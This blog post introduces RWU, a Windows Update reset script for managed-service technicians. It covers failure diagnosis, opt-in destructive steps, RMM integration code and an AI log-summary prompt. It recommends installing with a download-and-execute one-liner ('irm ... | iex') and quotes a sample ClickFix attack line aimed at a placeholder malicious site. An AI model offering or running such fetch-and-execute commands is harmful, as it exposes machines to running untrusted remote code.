Reset Windows Update: The Definitive MSP Guide to RWU

Published May 22, 2026 on matbanik.info

Manuel Gil's Windows Update reset script crossed half a million downloads before he archived it in March 2023. The Dev-C++ successor — Reset-Windows-Update-Tool, 513 stars on GitHub — followed it into the archive on January 16, 2026. For years, these were the tools sysadmins reached for when Microsoft's troubleshooter shrugged and said "we couldn't identify the problem."

They're gone now. And nothing replaced them.

Search "reset Windows Update" today and you'll find plenty of consumer guides. Screenshots of Settings panels. "Click Troubleshoot, then Additional troubleshooters." The irony: that troubleshooter is itself being deprecated with the MSDT retirement. Microsoft is sunsetting its own fix-it tool.

For MSP technicians managing hundreds of endpoints, the gap is worse. You need something that runs silently through your RMM. Something that won't obliterate the Intune ring configuration your team spent three weeks fine-tuning. Something that produces a structured exit code, not a GUI dialog box nobody's sitting in front of.

That's why I built RWU. It's not another "one weird trick" for Windows Update. It's a 14-step, reviewable, reversible technician workflow with safe defaults, opt-in dangerous operations, CLI exit codes for automation, and diagnostic output structured for AI analysis. Single .cmd file. GPL-3.0. No installer, no telemetry, no persistence.

The Three Failure Buckets

Most Windows Update guides skip the diagnosis and jump straight to the fix. Stop services, delete SoftwareDistribution, restart, cross your fingers. That works roughly a third of the time. The other two thirds, you've wasted twenty minutes and possibly made things worse.

The problem is that Windows Update failures aren't one problem. They're three.

Bucket 1: Local state corruption. The SoftwareDistribution folder is rotted. Catroot2 has hash mismatches. The BITS transfer queue is deadlocked. Classic codes: 0x80070002, 0x80073712. The machine's update pipeline is jammed with its own stale data. A local reset — stop services, rename folders, re-register DLLs — clears this reliably.

Bucket 2: Policy conflicts. This is the one that bites MSPs. A machine that used to point at a WSUS server still has the registry cookie. An Intune-managed device has conflicting Windows Update for Business ring settings layered on top of a leftover Group Policy from when it was domain-joined. The symptoms look identical to Bucket 1. The fix is completely different — and if you apply Bucket 1's fix without clearing the policy state, you'll be back in a week.

Bucket 3: Microsoft broke something. KB5089549 in May 2026 caused 0x800f0922 failures because the cumulative update demanded more EFI partition space than many machines had. KB5082063 in April 2026 crashed LSASS on Domain Controllers running Privileged Access Management, causing an infinite reboot loop that required Microsoft's emergency out-of-band patch KB5091157. No local reset script fixes these. You need the right patch, or you need partition maintenance, or you need to boot into recovery.

The danger of conflating these buckets is real. A "stop all services and delete everything including registry policies" approach fixes Bucket 1. It catastrophically damages Bucket 2 — you just removed a managed device from your update management ring. And it wastes precious time on Bucket 3 while a Domain Controller is boot-looping in your production environment.

RWU's architecture maps to these buckets directly. Bucket 1 repairs are the default. Bucket 2 operations (policy deletion, SDDL reset) require explicit opt-in. Bucket 3 gets diagnosed and flagged as "outside this tool's scope — here's what to investigate next."

The Tool Landscape: Who Does What

Here's the current state of Windows Update repair tooling:

WinUtil deserves a callout. At roughly 55,000 stars, Chris Titus Tech's tool is the most visible open-source Windows utility. It's excellent for debloating and system configuration. But its Updates module only toggles between Default, Security-only, and Disabled update policies. It doesn't repair broken Windows Update components. If someone recommends WinUtil for a 0x80073712 component store corruption, they've confused update settings with update repair.

Manuel Gil's tools were the genuine article. The .bat script was simple and effective — stop services, rename folders, re-register DLLs. Exactly the KB971058 workflow Microsoft used to document. But neither version had RMM exit codes, AI-ready diagnostics, or any separation between safe and dangerous operations. Everything ran in sequence, every time.

What RWU Actually Does

The 14-Step Architecture

RWU's steps cluster into logical phases:

Step 0 — Diagnostics. Before anything changes, RWU captures system state: OS version and build, service status for wuauserv/cryptSvc/bits/msiserver/appidsvc, disk space including EFI partition, the tail of CBS.log (last 100 lines — not the full multi-hundred-megabyte file), and recent Windows Update event log entries. This output is designed for AI analysis.

Steps 1–2 — Stop services. Windows Update, Cryptographic Services, BITS, Windows Installer, Application Identity. RWU waits for clean stops rather than force-killing, which avoids data corruption in the component store.

Steps 3–5 — Clean and rebuild. SoftwareDistribution gets renamed with a timestamp — SoftwareDistribution.bak.20260522-143022 — so running the tool twice doesn't fail on an existing .bak folder. Catroot2 gets the same treatment. Then the core Windows Update DLLs get re-registered: 34 DLLs from atl.dll through wuwebv.dll, covering the full update and cryptographic pipeline.

Steps 6–7 — DANGEROUS (opt-in only). Step 6 exports, then deletes, Windows Update registry policies under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate. Step 7 resets the BITS and WU service security descriptors to Windows defaults. Both are OFF by default. Both require explicit opt-in — a TUI toggle or CLI flags /policy and /sddl.

Step 8 — System file repair. sfc /scannow followed by DISM /Online /Cleanup-Image /RestoreHealth. The one-two punch for component store corruption. RWU captures the output for diagnostic review.

Steps 9–10 — Network stack. Winsock reset and proxy settings clear. These catch cases where update failures are actually network stack corruption.

Steps 11–14 — Finalize. Restart stopped services, force an update detection cycle, dump the event log, and generate a summary with a structured exit code.

Safe Defaults: Why Steps 6 and 7 Are Locked

This is the architectural decision I care about most.

Step 6 deletes Windows Update registry policies. On a standalone home PC, that's fine. On an Intune-managed device, you've just destroyed the Windows Update for Business ring membership. The device goes from "Pilot ring, 7-day deferral" to "unmanaged, installing whatever Microsoft pushes right now." On a machine still pointing at a WSUS server (yes, WSUS was deprecated in September 2024, but plenty of environments still run it), you've removed the WSUS pointer and the machine starts pulling updates directly from Microsoft CDN.

Step 7 resets service security descriptors. On a locked-down enterprise endpoint where security tooling has intentionally tightened these descriptors, you've just broken that posture.

TroubleChute's update guides reset policies by default. Manuel Gil's tools ran everything in sequence with no concept of step-level opt-in. RWU separates safe operations from destructive ones. The default is safe. The nuclear option is available — but you have to explicitly request it.

Getting Started

One line:

irm matbanik.info/rwu | iex

What happens: the rwu.ps1 launcher downloads from matbanik.info, fetches the latest RWU release from GitHub, verifies the SHA256 hash, extracts Reset_WindowsUpdate.cmd, and runs it with a UAC elevation prompt. If the hash doesn't match, nothing executes.

The trust model: GPL-3.0 source on GitHub. SHA256 verification before execution. Single .cmd file — no installer, no persistence, no telemetry. You can audit every line of code before it touches your endpoint.

Now, the elephant in the room. Microsoft's Security Blog in August 2025 flagged PowerShell's irm and iex cmdlets as "very prolific" within ClickFix social-engineering campaigns. Threat actors trick users into running irm malicious-site.com | iex and the game is over.

RWU's hash verification addresses this directly. The launcher doesn't blindly download-and-execute. It downloads, verifies SHA256 against the published checksum, and only executes on match. A compromised download path produces a hash mismatch and the launcher aborts.

If irm | iex still makes you uncomfortable — reasonable — download directly from GitHub Releases. The .cmd file is right there. Verify the hash yourself.

Error Codes and What They Mean

Windows Update error codes are hexadecimal misery. Here's a mapping of the most common ones to what's actually broken and which RWU steps address them:

The 0x800f0922 code is worth watching. KB5089549 in May 2026 triggered it widely because the cumulative update needed more EFI partition space than many machines had available. Microsoft confirmed machines with 10 MB or less of EFI free space hit a rollback loop at 35% installation. RWU's Step 0 diagnostics will flag low EFI space. It can't resize the partition for you — but at least you'll know you're chasing a hardware constraint, not a software corruption.

RMM Integration: CLI Mode for MSPs

The TUI is useful for interactive troubleshooting. For fleet deployment, you need CLI.

Exit codes:

• 0 — Success. All steps completed without errors.
• 1 — Failure. At least one step errored. Check the log.
• 2 — Usage error. Bad arguments or help requested.

CLI flags:

Silent deployment:

Reset_WindowsUpdate.cmd /reset /logdir "C:\Temp\RWU"

This runs the safe reset sequence and writes logs to C:\Temp\RWU. The exit code tells your RMM whether it worked.

NinjaRMM integration example:

$logDir = "C:\Temp\RWU"
$result = Start-Process -FilePath "C:\Tools\Reset_WindowsUpdate.cmd" `
  -ArgumentList "/reset /logdir $logDir" -Wait -PassThru

# Copy logs to central share with computer name prefix
$centralShare = "\\SERVER\RWU-Logs"
Get-ChildItem -Path $logDir -Filter "*.log" | ForEach-Object {
    $destName = "$($env:COMPUTERNAME)_$($_.Name)"
    Copy-Item -Path $_.FullName -Destination "$centralShare\$destName" -Force
}

if ($result.ExitCode -eq 0) {
    Ninja-Property-Set rwuStatus "Success"
} elseif ($result.ExitCode -eq 1) {
    Ninja-Property-Set rwuStatus "Failed - Check logs"
    # Trigger ticket creation
} else {
    Ninja-Property-Set rwuStatus "Usage error"
}

The log collection step grabs every .log file RWU generated, prepends the machine's COMPUTERNAME, and copies it to a central UNC share. After a fleet-wide run, \\SERVER\RWU-Logs contains FRONT-DESK-PC_RWU_20260522.log, DC01_RWU_20260522.log, etc. — all in one place. Replace \\SERVER\RWU-Logs with your own network path.

The same pattern works with Datto, ConnectWise Automate, or any RMM that supports PowerShell scripting and exit code parsing.

The /diag flag is the underrated one. Run it across your fleet before Patch Tuesday. Parse the output. Identify machines with low EFI space, stopped services, or stale policy cookies before you push the cumulative update. Pre-flight diagnostics save more time than post-failure remediation.

AI-Ready Diagnostics

CBS.log is where Windows Update debugging lives. It's also where debugging careers go to die. The file routinely grows to hundreds of megabytes of granular servicing telemetry. Finding the actual failure in that volume is tedious even for experienced technicians.

RWU's Step 0 captures a structured diagnostic snapshot — the relevant data, pre-parsed for AI consumption:

=== RWU Diagnostic Output ===
OS: Windows 11 Pro 24H2 (Build 26100.1742)
Disk C: 47.2 GB free of 237.8 GB
EFI Partition: 89 MB free of 100 MB  [WARNING: LOW SPACE]

Service Status:
  wuauserv: Running
  cryptSvc: Running
  bits: Running
  msiserver: Stopped

CBS.log tail (last 100 lines):
2026-05-22 14:23:17, Error CBS  Failed to resolve package:
  Package_for_KB5089549~31bf3856ad364e35~amd64~~26100.1742.1.0
  [HRESULT = 0x800f0922]

Copy that into ChatGPT, Claude, or Copilot with this prompt:

You are a Windows Update diagnostic expert. Below is the log output
from RWU (Reset Windows Update utility). Analyze it and respond with
a "Bottom Line" summary using exactly these questions:

- What went wrong?
- Is the hard drive failing?
- Is my data safe?
- Can it be fixed?
- What caused this?
- What's the risk if I wait?

Keep answers to 1–2 sentences each. Use plain language a non-technical
client would understand. Bold Yes/No answers where applicable.

RWU log output:
<paste log here>

The "Bottom Line" format is the time-saver. You get a client-ready summary you can paste straight into a ticket or email — no translation required. Review for accuracy, send. I've written more about teaching AI your communication patterns and vetting AI outputs for accuracy in related posts.

The key insight: sending a 200 MB CBS.log to an LLM is expensive and usually hits context limits. Sending 100 pre-parsed relevant lines costs almost nothing and gives the AI exactly what it needs.

When RWU Won't Help

Honest limits build more trust than fake confidence. Here's what RWU can't fix:

EFI partition exhaustion. Step 0 diagnoses it. RWU can't resize partitions. You need diskpart or a partition manager to extend the EFI partition, or clean up stale boot entries with bcdboot/bcdedit.

LSASS boot loop on Domain Controllers. April 2026's KB5082063 crashes LSASS before any local tool can run. You need Microsoft's OOB patch KB5091157 applied through recovery environment.

Windows 10 ESU enrollment failures. If Extended Security Update licensing isn't validated, updates fail with licensing errors. That's a licensing issue, not a WU component issue.

Network-level blocks. If your firewall blocks Microsoft CDN endpoints, resetting the local network stack won't help. The stack is fine. The policy is blocking traffic.

Irrecoverable component store damage. If DISM /RestoreHealth fails with "source files could not be found" and you don't have a matching install.wim, you're looking at an in-place upgrade or clean install. RWU tells you DISM failed — it can't conjure missing source files.

What's Next

The RWU source code is on GitHub. GPL-3.0. Star it if it's useful — visibility helps other technicians find the tool. Issues are open for bugs and feature requests.

Manuel Gil's tools served the Windows admin community for years. When they were archived, they left a gap that consumer guides and debloating utilities couldn't fill. RWU picks up where they left off — with the additions that modern MSP workflows demand: exit codes your RMM can parse, safe defaults that won't destroy your managed policies, and diagnostic output designed for the AI-augmented troubleshooting that's becoming the new normal.

The one-liner is irm matbanik.info/rwu | iex. Or download from GitHub. Either way — reviewable, reversible, professional-grade.

Originally published on matbanik.info. Cross-posted with ❤️ to Dev.to.